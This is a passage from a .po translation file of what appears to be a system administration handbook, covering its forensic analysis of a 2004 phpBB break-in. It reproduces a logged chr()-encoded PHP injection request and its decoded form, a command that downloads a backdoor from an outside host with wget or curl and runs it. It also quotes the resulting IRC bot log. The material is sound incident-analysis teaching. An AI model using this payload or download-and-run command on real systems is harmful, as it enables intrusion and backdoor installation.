"www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] \"GET /phpbb/viewtopic.php?t=10&amp;highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1\" 200 27969 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\n"
"      "
msgstr ""

#. Tag: para
#, no-c-format
msgid "This example matches exploitation of an old security vulnerability in phpBB. <ulink type=\"block\" url=\"http://secunia.com/advisories/13239/\" /> <ulink type=\"block\" url=\"http://www.phpbb.com/phpBB/viewtopic.php?t=240636\" />"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system(\"cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;\")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:"
msgstr ""

#. Tag: programlisting
#, no-c-format
msgid ""
"** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)\n"
"** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT\n"
"** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024\n"
"** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating\n"
"** 2004-11-29-19:50:20: DCC CHAT Correct password\n"
"(...)\n"
"** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)\n"
"(...)\n"
"** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)\n"
"(...)\n"
"** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)\n"
"(...)\n"
"** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability."
msgstr ""